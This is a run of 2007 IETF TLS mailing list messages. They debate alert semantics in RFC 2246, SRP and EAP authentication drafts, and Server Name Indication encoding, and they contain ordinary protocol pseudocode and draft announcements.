(The SSL 3.0 specification is different mostly in that it doesn't
discuss this issue in that much detail, thus leaving more space for
common sense.)

Bodo



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Subject: Re: [TLS] Issue 16: Alert clarifications
To: bmoeller@acm.org (Bodo Moeller)
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Bodo Moeller wrote:
> 
> This has nothing to do with RFC 2119 terminology.  RFC 2246 and later
> make specific statements regarding what the sender and receiver of an
> alert should do; this is where the RFC could have codified, in
> whatever form, this aspect of the distinction between fatal alerts and
> warning alerts.  It quite clearly doesn't say what we think it should
> be saying.

I disagree.  Search rfc2246 for "close" of the connection, and every
occurrence except for "Closure alert" explicitly references a prior
fatal ssl alert.


I don't see where the spec would permit or even suggest closure of 
the connection after any other ssl alert of level warning other than
"closure alert".


-Martin

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From tls-bounces@lists.ietf.org Tue Jun 12 01:30:49 2007
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Martin Rex wrote:
> Bodo Moeller wrote:

>> Of course, I totally agree that it makes sense to require fatal alerts
>> before the connection is torn down (except in the close_notify case,
>> obviously), and that it makes a lot of sense for implementations of
>> the current specs to behave like this.  I just don't agree that the
>> current specifcations already require implementations to do this.
> 
> I firmly believe that the SSLv3 spec required it, but a spec weasel
> might try to argue that the TLSv1.0 an later specs have failed to add
> the proper rfc-2119 terminology to various places of the SSLv3 protocol
> description and therefore relaxed the original SSLv3 requirements.

And in fact, one of the top 10 most-used TLS implementations (one of
the newer ones) does not send fatal alerts (at least, not for most
errors), citing just that reason.

I see this becoming a nightmare for people who must diagnose problems.
I'm afraid it's too late for TLS 1.0 and 1.1 already, but I sure would
like to see it fixed in 1.2.

-- 
Nelson B

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Subject: [TLS] Fwd: I-D ACTION:draft-nir-tls-eap-00.txt
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Hi all,


we have recently submitted this revised draft, which should be of 
interest to the TLS community. I am cross-posting to the EAP list, as 
some people raised issues around the applicability of EAP to this proposal.


Your comments are very welcome. Please reply to the TLS list.


Thanks,

    Yaron


-------- Original Message --------
Subject: 	I-D ACTION:draft-nir-tls-eap-00.txt
Date: 	Mon, 11 Jun 2007 15:50:02 -0400
From: 	Internet-Drafts@ietf.org
Reply-To: 	internet-drafts@ietf.org
To: 	i-d-announce@ietf.org



A New Internet-Draft is available from the on-line Internet-Drafts 
directories.


	Title		: TLS using EAP Authentication
	Author(s)	: Y. Nir, et al.
	Filename	: draft-nir-tls-eap-00.txt
	Pages		: 20
	Date		: 2007-6-11
	
   This document describes an extension to the TLS protocol to allow TLS
   clients to authenticate with legacy credentials using the Extensible
   Authentication Protocol (EAP).

   This work follows the example of IKEv2, where EAP has been added to
   the IKEv2 protocol to allow clients to use different credentials such
   as passwords, token cards, and shared secrets.

   When TLS is used with EAP, additional records are sent after the
   ChangeCipherSpec protocol message and before the Finished message,
   effectively creating an extended handshake before the application
   layer data can be sent.  Each EapMsg handshake record contains
   exactly one EAP message.  Using EAP for client authentication allows
   TLS to be used with various AAA back-end servers such as RADIUS or
   Diameter.

   TLS with EAP may be used for securing a data connection such as HTTP
   or POP3.  We believe it has three main benefits:
   o  The ability of EAP to work with backend servers can remove that
      burden from the application layer.
   o  Moving the user authentication into the TLS handshake protects the
      presumably less secure application layer from attacks by
      unauthenticated parties.
   o  Using mutual authentication methods within EAP can help thwart
      certain classes of phishing attacks.


A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-nir-tls-eap-00.txt

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<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
</head>
<body dir="ltr" bgcolor="#ffffff" text="#000000">
<p style="margin-bottom: 0cm; margin-top: 0pt;">Hi all,</p>
<p style="margin-bottom: 0cm; margin-top: 0pt;"><br>
</p>
<p style="margin-bottom: 0cm; margin-top: 0pt;">we have recently
submitted this revised draft, which should be of interest to the TLS
community. I am cross-posting to the EAP list, as some people raised
issues around the applicability of EAP to this proposal.</p>
<p style="margin-bottom: 0cm; margin-top: 0pt;"><br>
</p>
<p style="margin-bottom: 0cm; margin-top: 0pt;">Your comments are very
welcome. Please reply to the TLS list.</p>
<p style="margin-bottom: 0cm; margin-top: 0pt;"><br>
</p>
<p style="margin-bottom: 0cm; margin-top: 0pt;">Thanks,</p>
<p style="margin-bottom: 0cm; margin-top: 0pt;">&nbsp;&nbsp;&nbsp; Yaron</p>
<p style="margin-bottom: 0cm; margin-top: 0pt;"><br>
</p>
-------- Original Message --------
<table class="moz-email-headers-table" border="0" cellpadding="0"
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      <th align="right" nowrap="nowrap" valign="baseline">Subject: </th>
      <td>I-D ACTION:draft-nir-tls-eap-00.txt</td>
    </tr>
    <tr>
      <th align="right" nowrap="nowrap" valign="baseline">Date: </th>
      <td>Mon, 11 Jun 2007 15:50:02 -0400</td>
    </tr>
    <tr>
      <th align="right" nowrap="nowrap" valign="baseline">From: </th>
      <td><a class="moz-txt-link-abbreviated" href="mailto:Internet-Drafts@ietf.org">Internet-Drafts@ietf.org</a></td>
    </tr>
    <tr>
      <th align="right" nowrap="nowrap" valign="baseline">Reply-To: </th>
      <td><a class="moz-txt-link-abbreviated" href="mailto:internet-drafts@ietf.org">internet-drafts@ietf.org</a></td>
    </tr>
    <tr>
      <th align="right" nowrap="nowrap" valign="baseline">To: </th>
      <td><a class="moz-txt-link-abbreviated" href="mailto:i-d-announce@ietf.org">i-d-announce@ietf.org</a></td>
    </tr>
  </tbody>
</table>
<br>
<br>
<pre>A New Internet-Draft is available from the on-line Internet-Drafts 
directories.


	Title		: TLS using EAP Authentication
	Author(s)	: Y. Nir, et al.
	Filename	: draft-nir-tls-eap-00.txt
	Pages		: 20
	Date		: 2007-6-11
	
   This document describes an extension to the TLS protocol to allow TLS
   clients to authenticate with legacy credentials using the Extensible
   Authentication Protocol (EAP).

   This work follows the example of IKEv2, where EAP has been added to
   the IKEv2 protocol to allow clients to use different credentials such
   as passwords, token cards, and shared secrets.

   When TLS is used with EAP, additional records are sent after the
   ChangeCipherSpec protocol message and before the Finished message,
   effectively creating an extended handshake before the application
   layer data can be sent.  Each EapMsg handshake record contains
   exactly one EAP message.  Using EAP for client authentication allows
   TLS to be used with various AAA back-end servers such as RADIUS or
   Diameter.

   TLS with EAP may be used for securing a data connection such as HTTP
   or POP3.  We believe it has three main benefits:
   o  The ability of EAP to work with backend servers can remove that
      burden from the application layer.
   o  Moving the user authentication into the TLS handshake protects the
      presumably less secure application layer from attacks by
      unauthenticated parties.
   o  Using mutual authentication methods within EAP can help thwart
      certain classes of phishing attacks.


A URL for this Internet-Draft is:
<a class="moz-txt-link-freetext" href="http://www.ietf.org/internet-drafts/draft-nir-tls-eap-00.txt">http://www.ietf.org/internet-drafts/draft-nir-tls-eap-00.txt</a>

To remove yourself from the I-D Announcement list, send a message to 
<a class="moz-txt-link-abbreviated" href="mailto:i-d-announce-request@ietf.org">i-d-announce-request@ietf.org</a> with the word unsubscribe in the body of 
the message. 
You can also visit <a class="moz-txt-link-freetext" href="https://www1.ietf.org/mailman/listinfo/I-D-announce">https://www1.ietf.org/mailman/listinfo/I-D-announce</a> 
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Internet-Drafts are also available by anonymous FTP. Login with the 
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logging in, type "cd internet-drafts" and then 
"get draft-nir-tls-eap-00.txt".

A list of Internet-Drafts directories can be found in
<a class="moz-txt-link-freetext" href="http://www.ietf.org/shadow.html">http://www.ietf.org/shadow.html</a> 
or <a class="moz-txt-link-freetext" href="ftp://ftp.ietf.org/ietf/1shadow-sites.txt">ftp://ftp.ietf.org/ietf/1shadow-sites.txt</a>

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	<a class="moz-txt-link-abbreviated" href="mailto:mailserv@ietf.org">mailserv@ietf.org</a>.
In the body type:
	"FILE /internet-drafts/draft-nir-tls-eap-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

</pre>
</body>
</html>

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Ok, Beef's on.  A bit raw, but raw is good. ;-)

		--Dean

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---------- Forwarded message ----------
Date: Fri, 08 Jun 2007 14:44:41 -0700
From: Nelson B Bolyard <nelson@bolyard.com>
To: Dean Anderson <dean@av8.com>
Subject: Re: [TLS] Patents and draft-housley-authz-extns-07

Dean Anderson wrote:
> Also I have learned that not everyone on the TLS list knows the history
> of the draft, particularly the misbehavior. I'm going to put up a web
> page on http://www.av8.net/IETF-watch/People/Housley/ to document this.

Where's the beef?  I get

404 Not Found
The requested URL /IETF-watch/People/Housley/ was not found on this server.





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From tls-bounces@lists.ietf.org Tue Jun 12 05:32:46 2007
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Date: Tue, 12 Jun 2007 11:32:35 +0200
From: Bodo Moeller <bmoeller@acm.org>
To: Martin Rex <Martin.Rex@sap.com>
Subject: Re: [TLS] Issue 16: Alert clarifications
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On Tue, Jun 12, 2007 at 05:26:41AM +0200, Martin Rex wrote:
> Bodo Moeller wrote:

>> This has nothing to do with RFC 2119 terminology.  RFC 2246 and later
>> make specific statements regarding what the sender and receiver of an
>> alert should do; this is where the RFC could have codified, in
>> whatever form, this aspect of the distinction between fatal alerts and
>> warning alerts.  It quite clearly doesn't say what we think it should
>> be saying.

> I disagree.  Search rfc2246 for "close" of the connection, and every
> occurrence except for "Closure alert" explicitly references a prior
> fatal ssl alert.
> 
> I don't see where the spec would permit or even suggest closure of 
> the connection after any other ssl alert of level warning other than
> "closure alert".

The problematic language is the following:

   [...]         if an alert with a level of warning is received, the
                                             ^^^^^^^^^^^^^^^^^^^
   receiving party may decide at its discretion whether to treat this as
                                                           ^^^^^^^^^^^^^
   a fatal error or not. However, all messages which are transmitted
   ^^^^^^^^^^^^^
   with a level of fatal must be treated as fatal messages.

This isn't strictly inconsistent with your interpretation, but doesn't
enforce it either: It is easy to read this as "when receiving a
warning alert, you may act as if you received a fatal alert".  Again,
this is not what I *want* the specification to say or how I would like
implementations to behave -- I just want the specification to say
*more explicitly* that a party that receives a warning (other than
close_notify) and decides to terminate the connection needs to send a
fatal alert.

Maybe that's already what RFC 2246 secretly wanted us to do, but if
so, it is not revealing much about this.  For example, you have to be
creative about determining the appropriate error alert for this fatal
alert: From the alert descriptions in RFC 2246, there isn't really
anything appropriate for every case -- what do you send when
terminating the connection in response to, say, a bad_certificate
warning?  Using bad_certificate for the response too can be ambiguous;
unexpected_message isn't appropriate for this according to the
specification ("should never be observed in communication between
proper implementations"); so handshake_failure possibly is the best
choice, but this use doesn't quite match its description in the RFC
(according to the spec, it is about unacceptable "security
parameters", and that's a pretty specific term in the TLS
specification: see 6.1 and A.6).

This would be quite different if there was any error alert description
that said something along the lines of "This alert is sent if a
warning alert is received and this warning is treated as an error.
This message is always fatal."  (Maybe something like this should be
added to the handshake_failure description.)

Bodo


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From: "Andres Marin" <amarin@it.uc3m.es>
To: "Simon Josefsson" <simon@josefsson.org>
Subject: Re: [TLS] Re: Comments on draft-housley-tls-authz-extns-07
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On 6/11/07, Simon Josefsson <simon@josefsson.org> wrote:
> If someone knows of prior art where X.509 Attribute Certificates and/or
> SAML assertions are sent over TLS (possibly in the handshake, but that
> doesn't seem critical), that would be very useful information.

We have been working in authorization extensions for TLS since 2004 at
the University Carlos III de Madrid. When we noticed the drafts of Mr.
Housley and Mr. Brown, we contacted them since the discussion in the
TLS group by then was over. We sent them our comments plus the paper
we were writing to a journal, and also a toolkit for AC
attributes based on openssl. The API is available for download at
http://www.it.uc3m.es/dds/swRelease/pmi/pmi.xml.
We exchanged some emails since our intention was to collaborate in
writing a better draft for authorization, but in the end this did not
happen.

Our main comments to draft-housley-tls-authz-extns-07 were:

- The double handshake to ensure auth data is exchanged over a secure
channel can be unacceptable for some applications, or at least it
could be improved. We are unsure if there is another motivation for
this, perhaps the reduced complexity to implement new servers... We
think that after the extension, a new authorization protocol message
should be used, to avoid double handshake and also to prevent
man-in-the-middle attacks and preserve privacy of authorization
information.
- In the case of SAML, the extension does not allow a server to
indicate the client if a given issuer would be accepted as a valid
SoA. It does not either allow the client to indicate the SAML protocol
binding or the assertion consumer endpoint.

We submitted our work to IEEE Security & Privacy Conference 2007,
but they found it more appropriate for IETF discussion. You can find
it here: http://karajan.it.uc3m.es:9673/pervasive/tls-auth/TLSExtv4.pdf
user:draft passwd:extn-07

We were considering sending a draft with a proposal for authorization
extension in TLS. But after this discussion, and specially some
reasonable complaints about the increasing complexity in client and
server hello messages, we think that may be it is better to specify
new layers for dealing with such extensions. The idea is not to
include further negotiations in TLS handshake (in our case
authorization, but may be others), and just indicate in the hello
messages the layer ids to deal with such negotiation, where the new
layers will be clients of the Record Layer.

-- Daniel D=EDaz S=E1nchez & Andres Marin Lopez
Universidad Carlos III de Madrid
http://www.it.uc3m.es/pervasive

>
> /Simon
>
> _______________________________________________
> TLS mailing list
> TLS@lists.ietf.org
> https://www1.ietf.org/mailman/listinfo/tls
>

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From: Martin Rex <Martin.Rex@sap.com>
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Subject: Re: [TLS] Issue 16: Alert clarifications
To: bmoeller@acm.org (Bodo Moeller)
Date: Tue, 12 Jun 2007 16:53:41 +0200 (MEST)
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Bodo Moeller wrote:
> 
> On Tue, Jun 12, 2007 at 05:26:41AM +0200, Martin Rex wrote:
> > Bodo Moeller wrote:
> 
> >> This has nothing to do with RFC 2119 terminology.  RFC 2246 and later
> >> make specific statements regarding what the sender and receiver of an
> >> alert should do; this is where the RFC could have codified, in
> >> whatever form, this aspect of the distinction between fatal alerts and
> >> warning alerts.  It quite clearly doesn't say what we think it should
> >> be saying.
> 
> > I disagree.  Search rfc2246 for "close" of the connection, and every
> > occurrence except for "Closure alert" explicitly references a prior
> > fatal ssl alert.
> > 
> > I don't see where the spec would permit or even suggest closure of 
> > the connection after any other ssl alert of level warning other than
> > "closure alert".
> 
> The problematic language is the following:
> 
>    [...]         if an alert with a level of warning is received, the
>                                              ^^^^^^^^^^^^^^^^^^^
>    receiving party may decide at its discretion whether to treat this as
>                                                            ^^^^^^^^^^^^^
>    a fatal error or not. However, all messages which are transmitted
>    ^^^^^^^^^^^^^

Where is the problem.  The receiver which treats a warning as a fatal
error is the "detecting" party:

                                                               When an
   error is detected, the detecting party sends a message to the other
   party. Upon transmission or receipt of an fatal alert message, both
   parties immediately close the connection.

and therefore required to send a fatal alert before being allowed
to close the communication channel.


>    with a level of fatal must be treated as fatal messages.
> 
> This isn't strictly inconsistent with your interpretation, but doesn't
> enforce it either: It is easy to read this as "when receiving a
> warning alert, you may act as if you received a fatal alert".

No, this is wrong.

When receiving a warning alert, the receiving party may decide to handle
this to be a fatal error, resulting in a requirement to send a (fatal alert)
message to the other party.

The sender of the warning certainly didn't mean this to be a (fatal) error,
which is why it sent a warning and is waiting for a response/continuation
of the communication.


>
> Again, this is not what I *want* the specification to say or how I would
> like implementations to behave -- I just want the specification to say
> *more explicitly* that a party that receives a warning (other than
> close_notify) and decides to terminate the connection needs to send a
> fatal alert.

I would also appreciate if the spec was more explicit about this,
and in particular I do *NOT* want this to be considered a change
to the existing spec that is new and valid only for TLSv1.2.

Documenting what a correct sender ought to do is fairly easy.
Documenting what behaviour receipients will have to deal with in
the wild is much harder, because of inconsistencies, defects and
silent backwards-incompatible changes in the history of the TLS spec.

> 
> Maybe that's already what RFC 2246 secretly wanted us to do, but if
> so, it is not revealing much about this.  For example, you have to be
> creative about determining the appropriate error alert for this fatal
> alert: From the alert descriptions in RFC 2246, there isn't really
> anything appropriate for every case -- what do you send when
> terminating the connection in response to, say, a bad_certificate
> warning?  Using bad_certificate for the response too can be ambiguous;
> unexpected_message isn't appropriate for this according to the
> specification ("should never be observed in communication between
> proper implementations"); so handshake_failure possibly is the best
> choice, but this use doesn't quite match its description in the RFC
> (according to the spec, it is about unacceptable "security
> parameters", and that's a pretty specific term in the TLS
> specification: see 6.1 and A.6).

The spec calls for a fatal handshake_failure alert in most situations.
Which, admittedly, isn't going to be very helpful for the peer. :-|


> 
> This would be quite different if there was any error alert description
> that said something along the lines of "This alert is sent if a
> warning alert is received and this warning is treated as an error.
> This message is always fatal."  (Maybe something like this should be
> added to the handshake_failure description.)

It seems strange that there are several alerts in SSL concerning certificate
validity/acceptance and even one to indicate that no (client) certificate
is available, but none for indicating certificate_required.


There was a warning alert added to TLSv1.0 in an IMHO broken fashion:
user_cancelled.  rfc2246 even suggest that this is followed up by
a close notify alert -- which I consider a serious mistake.

user_canelled should have been made an alternative "closure alert",
if any.

"close notify" only makes sense after a successfully completed SSL/TLS
handshake, it would be inappropriate during the SSL/TLS handshake.
for fully established SSL/TLS sessions.

"user_cancelled" was apparently added to perform a "graceful abort"
of a SSL/TLS handshake (probably with the intention that it does
not get logged or reported as a technical error).  As such, the
suggestion to followup with a close_notify is IMHO wrong.
close notify should only be used after a successful handshake.


-Martin








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From: Bodo Moeller <bmoeller@acm.org>
To: Martin Rex <Martin.Rex@sap.com>
Subject: Re: [TLS] Issue 16: Alert clarifications
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On Tue, Jun 12, 2007 at 04:53:41PM +0200, Martin Rex wrote:

>> Again, this is not what I *want* the specification to say or how I would
>> like implementations to behave -- I just want the specification to say
>> *more explicitly* that a party that receives a warning (other than
>> close_notify) and decides to terminate the connection needs to send a
>> fatal alert.

> I would also appreciate if the spec was more explicit about this,
> and in particular I do *NOT* want this to be considered a change
> to the existing spec that is new and valid only for TLSv1.2.

Not a change just for TLS 1.2, but a clarification for something that
previously was under-specified.


>> Maybe that's already what RFC 2246 secretly wanted us to do, but if
>> so, it is not revealing much about this.  For example, you have to be
>> creative about determining the appropriate error alert for this fatal
>> alert:      [...]
>>                           so handshake_failure possibly is the best
>> choice, but this use doesn't quite match its description in the RFC
>> (according to the spec, it is about unacceptable "security
>> parameters", and that's a pretty specific term in the TLS
>> specification: see 6.1 and A.6).

> The spec calls for a fatal handshake_failure alert in most situations.

One problem is that the spec doesn't really say that you can use
handshake_failure in such situations.  The spec can just as easily be
interpreted as saying that you can't.  (Common sense can come in
helpfully and say that you should use handshake_failure *despite of*
what the current spec says.)

Bodo


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From tls-bounces@lists.ietf.org Tue Jun 12 13:21:38 2007
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From: Martin Rex <Martin.Rex@sap.com>
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Subject: Re: [TLS] Issue 16: Alert clarifications
To: bmoeller@acm.org (Bodo Moeller)
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Bodo Moeller wrote:
> 
> On Tue, Jun 12, 2007 at 04:53:41PM +0200, Martin Rex wrote:
> 
> > I would also appreciate if the spec was more explicit about this,
> > and in particular I do *NOT* want this to be considered a change
> > to the existing spec that is new and valid only for TLSv1.2.
> 
> Not a change just for TLS 1.2, but a clarification for something that
> previously was under-specified.

OK!

 
> 
> >> (according to the spec, it is about unacceptable "security
> >> parameters", and that's a pretty specific term in the TLS
> >> specification: see 6.1 and A.6).
> >
> > The spec calls for a fatal handshake_failure alert in most situations.
> 
> One problem is that the spec doesn't really say that you can use
> handshake_failure in such situations.  The spec can just as easily be
> interpreted as saying that you can't.  (Common sense can come in
> helpfully and say that you should use handshake_failure *despite of*
> what the current spec says.)

According to the SSL spec, a handshake failure alert is the appropriate
(server) response to a client sending a "no_certificate" warning alert
upon a Certificate Request message.


For every protocol you will need a catch-all error message that has
to be used whenever there is not specific error message available
to describe the situation (In GSS-API it is the MISC_FAILURE major_status)
In SSL, for errors during the handshake this is the handshake_failure alert.

What TLS currently doesn't provide is a means to communicate implementation
specific information about an error, which may be specific to particular
cipher-suites, specific to particular PKI operations (and not covered
by the existing certificate-related alerts), or eventually, specific
to alternative authentication protocols that people are trying to
add to TLS.  Maybe the alert protocol should be enhanced to provide
a container for such auxiliary error information before fancy new
authentication schemes are added to the TLS protocol engine.


-Martin

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From tls-bounces@lists.ietf.org Tue Jun 12 19:04:00 2007
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Subject: Re: [TLS] Straw poll on TLS SRP status
To: pgut001@cs.auckland.ac.nz (Peter Gutmann)
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Peter Gutmann wrote:
> 
> >Here in Germany, most banks use an OTP-style approach (TAN) for
> >authenticating transactions.
> 
> In a previous message I commented that the use of hand-over-the-password,
> circa 1965, had to be the ultimate indictment of the failure of browser
> authentication mechanisms, but I think this is even more damning: Banks are
> having to resort to printing and mailing out lists of TANs (i.e. physical
> distribution of codebooks), a technique going back to the middle ages, because
> security protocol designers haven't been able to provide them with anything
> better.  Instead of requiring organisations who care about security to get
> medieval on your keyboard, let's give them something they can use.

If the threat model is phishing and trojaning of the PC and browser,
then printing and mailing out lists of TANs is a cheap and low-tech
"trusted hardware OTP" solution to this problem, that works remarkably
well and is easily understood by large parts of the population and
is quite similar to all "password-based credential distribution"
that banks (and mobile telcos) have been using.

The economic incentive for the service providers is what drives
that decisions.  The end user has no say in this, and frankly,
neither do we as the technology providers.

As you know, smartcard technology isn't new.  But the adoption is
limited to those areas where there is an economic incentive for the
security level of the technology for the service providers.

What really worries me is that it is difficult to protect against
CSRF (cross-site request forgery), because sites like eBay fully
rely on this architectural flaw to work.  (But for a notable exception,
eBay itself seems to work fine with active content disabled).


-Martin

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Subject: [TLS] Encoding of data for Server Name Indication?
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I am working on some Qt code for TLS (that wraps OpenSSL and other libraries). 
We are planning to support the Server Name Indication extension (assuming 
that the underlying library also supports it), but have come up with an 
issue.

Based on 3280bis, the Certificate commonName and dNSName are supposed to be 
punycode encoded. Is SNI also supposed to be encoded with punycode?

Brad

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--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts 
directories.
This draft is a work item of the Transport Layer Security Working Group of the IETF.

	Title		: Using SRP for TLS Authentication
	Author(s)	: D. Taylor, et al.
	Filename	: draft-ietf-tls-srp-14.txt
	Pages		: 26
	Date		: 2007-6-14
	
This memo presents a technique for using the Secure Remote Password
   protocol as an authentication method for the Transport Layer Security
   protocol.

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	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

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implementation to automatically retrieve the ASCII version of the
Internet-Draft.

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Ok, I've updated the web page on Housley. There is quite a bit more 
information, now. http://www.av8.net/IETF-watch/People/Housley/

I would appreciate it if someone would post this to the IETF list, which 
is continuing to discuss this draft.

Thanks, 

		--Dean


-- 
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Subject: RE: [TLS] Encoding of data for Server Name Indication?
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Brad Hards wrote:

> I am working on some Qt code for TLS (that wraps OpenSSL and
> other libraries).  We are planning to support the Server Name
> Indication extension (assuming that the underlying library also
> supports it), but have come up with an issue.
>=20
> Based on 3280bis, the Certificate commonName and dNSName are
> supposed to be punycode encoded. Is SNI also supposed to be
> encoded with punycode?

The text in RFC 4366 isn't exactly easy to understand, but the
answer seems to be that both work. The client can either use the
ToASCII operation (which involves more things than just Punycode
encoding, notably Nameprep), or just do Nameprep and send the
resulting string as UTF-8.

Both of these work, because the server does the ToUnicode
operation before comparing the domain name:

   "If the server needs to match the HostName against names that
   contain non-US-ASCII characters, it MUST perform the conversion
   operation described in Section 4 of [IDNA], treating the
   HostName as a "query string" (i.e., the AllowUnassigned flag
   MUST be set)."

(And ToUnicode will remove the Punycode encoding, if used.)

Best regards,
Pasi

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Subject: [TLS] FWD: Suggested change to "SRP for TLS"
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Forwarded for a non-subscriber...
---------------------------------------------------------------------------
Eric,

Regarding "Using SRP for TLS Authentication" (draft-ietf-tls-srp-13), I have
a small change I think would make the protocol more useful.  I don't follow
the TLS WG mailing list and I don't know the draft's authors. I figured I'd
tell you and you could forward this message to appropriate parties.

I suggest allowing for client-retained salt that is not transmitted as part
of the protocol.  This would be indicated when a zero-length (or zero
value?) srp_s parameter was transmitted as part of the server key exchange
message.

Those who agree with this idea can stop reading now.

In the protocol specified by the I-D and more generally in SRP, the salt is
retained by the server and supplied to the client after the client
identifies itself. However, the salt plays no other role in the server's
actions. It isn't needed for any server computation during the protocol
proper and isn't needed in the notional registration phase when the verifier
is created by the client then transmitted to and stored by the server.

Server-retained salt in classic SRP has the important practical advantage
that it is often easier for servers than clients to have stable storage.
However, withholding salt from servers greatly reduces (eliminates) the
threat of insider password-guessing attacks.

SRP users likely will have passwords no stronger and no less shared among
hosts than in existing password-based systems.  Given this, and that the
raison d'=EAtre of verifier-based systems is to reduce insider attacks,
client-retained salt may be appropriate for some applications.

My shamefully perfunctory suggestions for changes to the I-D are below.

Cheers,
-Allan
Allan M. Schiffman ams@commerce.net
CommerceNet
169 University Ave.
Palo Alto, CA 94301
+1.650.289.4055

-------------------------------------------------------------------------
-------------------------------------------------------------------------
    Suggested changes to draft-ietf-tls-srp-13
    accommodating client-retained salt

First, I note that client-retained salt affects the client/server initial
registration phase (outside the scope of the I-D).  In the registration
protocol, the client would inform the server that it commits to retaining
the salt.

Add to the end of section 2.2:
    In a minor departure from SRP, we accommodate applications that withhold
    the salt from servers by allowing for the zero-length s parameter to be
    interpreted as "client-retained salt".

Append to section 2.5.3:
   The client SHOULD abort the handshake with an "illegal_parameter" alert
   if it has arranged to use client-retained salt and the length of s is
   non-zero.

The first part of section 2.6 should be replaced with:
   The pre-master secret is calculated by the client as follows:

        I, P =3D <read from user>
        N, g, s, B =3D <read from server>
        S =3D <s if non-zero length, otherwise as retained by client>
        a =3D random()
        A =3D g^a % N
        u =3D SHA1(PAD(A) | PAD(B))
        k =3D SHA1(N | PAD(g))
        x =3D SHA1(S | SHA1(I | ":" | P))
        <premaster secret> =3D (B - (k * g^x)) ^ (a + (u * x)) % N

Append to section 2.8.2:
    A zero-length srp_s element indicates that the seed is client-retained.
-------------------------------------------------------------------------

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Subject: RE: [TLS] Encoding of data for Server Name Indication?
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At 1:33 PM +0300 6/15/07, <Pasi.Eronen@nokia.com> wrote:
>Brad Hards wrote:
>
>>  I am working on some Qt code for TLS (that wraps OpenSSL and
>>  other libraries).  We are planning to support the Server Name
>>  Indication extension (assuming that the underlying library also
>>  supports it), but have come up with an issue.
>>
>>  Based on 3280bis, the Certificate commonName and dNSName are
>>  supposed to be punycode encoded. Is SNI also supposed to be
>>  encoded with punycode?
>
>The text in RFC 4366 isn't exactly easy to understand, but the
>answer seems to be that both work. The client can either use the
>ToASCII operation (which involves more things than just Punycode
>encoding, notably Nameprep), or just do Nameprep and send the
>resulting string as UTF-8.

I disagree with Pasi: only ToASCII makes any sense. Having the string 
as non-ASCII makes comparison to the dNSName string impossible 
without doing another conversion.

RFC 4366 could have been a bit clearer. Where it says:
    If the server needs to match the
    HostName against names that contain non-US-ASCII characters, it MUST
    perform the conversion operation described in Section 4 of [IDNA],
    treating the HostName as a "query string" (i.e., the AllowUnassigned
    flag MUST be set).
it would have been better to say at the end of the sentence "and 
processing the labels with ToASCII in step 4".

>Both of these work, because the server does the ToUnicode
>operation before comparing the domain name:
>
>    "If the server needs to match the HostName against names that
>    contain non-US-ASCII characters, it MUST perform the conversion
>    operation described in Section 4 of [IDNA], treating the
>    HostName as a "query string" (i.e., the AllowUnassigned flag
>    MUST be set)."

There is nothing in that sentence that supports "the server does the 
ToUnicode operation before comparing the domain name". It does not. 
All data in the certificate and in the extension are stored in the 
processed ToASCII format.

--Paul Hoffman, Director
--VPN Consortium

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Allan wrote:
[...]
> I suggest allowing for client-retained salt that is not transmitted as part
> of the protocol.
[...]

Hi Allan,

I believe this is already allowed (in essence), so changes to the 
protocol and draft are not needed:

It is perfectly legal for a client-side password-generator to combine a 
user-entered password with a stored, shared secret to generate the 
actual "SRP password" that is handed to SRP.

I think this accomplishes your goal of strengthening the user-entered 
password with a stored secret, and is cleaner, since:
  - it treats the stored secret orthogonally to the SRP salt (i.e., both 
can be used)
  - it does not require protocol changes
  - it does not provide additional information to someone watching the 
network (whether a client-stored shared secret is in use or not)


Trevor


> 
> Those who agree with this idea can stop reading now.
> 
> In the protocol specified by the I-D and more generally in SRP, the salt is
> retained by the server and supplied to the client after the client
> identifies itself. However, the salt plays no other role in the server's
> actions. It isn't needed for any server computation during the protocol
> proper and isn't needed in the notional registration phase when the verifier
> is created by the client then transmitted to and stored by the server.
> 
> Server-retained salt in classic SRP has the important practical advantage
> that it is often easier for servers than clients to have stable storage.
> However, withholding salt from servers greatly reduces (eliminates) the
> threat of insider password-guessing attacks.
> 
> SRP users likely will have passwords no stronger and no less shared among
> hosts than in existing password-based systems.  Given this, and that the
> raison d'être of verifier-based systems is to reduce insider attacks,
> client-retained salt may be appropriate for some applications.
> 
> My shamefully perfunctory suggestions for changes to the I-D are below.
> 
> Cheers,
> -Allan
> Allan M. Schiffman ams@commerce.net
> CommerceNet
> 169 University Ave.
> Palo Alto, CA 94301
> +1.650.289.4055
> 
> -------------------------------------------------------------------------
> -------------------------------------------------------------------------
>     Suggested changes to draft-ietf-tls-srp-13
>     accommodating client-retained salt
> 
> First, I note that client-retained salt affects the client/server initial
> registration phase (outside the scope of the I-D).  In the registration
> protocol, the client would inform the server that it commits to retaining
> the salt.
> 
> Add to the end of section 2.2:
>     In a minor departure from SRP, we accommodate applications that withhold
>     the salt from servers by allowing for the zero-length s parameter to be
>     interpreted as "client-retained salt".
> 
> Append to section 2.5.3:
>    The client SHOULD abort the handshake with an "illegal_parameter" alert
>    if it has arranged to use client-retained salt and the length of s is
>    non-zero.
> 
> The first part of section 2.6 should be replaced with:
>    The pre-master secret is calculated by the client as follows:
> 
>         I, P = <read from user>
>         N, g, s, B = <read from server>
>         S = <s if non-zero length, otherwise as retained by client>
>         a = random()
>         A = g^a % N
>         u = SHA1(PAD(A) | PAD(B))
>         k = SHA1(N | PAD(g))
>         x = SHA1(S | SHA1(I | ":" | P))
>         <premaster secret> = (B - (k * g^x)) ^ (a + (u * x)) % N
> 
> Append to section 2.8.2:
>     A zero-length srp_s element indicates that the seed is client-retained.
> -------------------------------------------------------------------------
> 
> _______________________________________________
> TLS mailing list
> TLS@lists.ietf.org
> https://www1.ietf.org/mailman/listinfo/tls
> 


_______________________________________________
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[FIXED TYPO]

Allan wrote:
[...]
> I suggest allowing for client-retained salt that is not transmitted as part
> of the protocol.
[...]

Hi Allan,

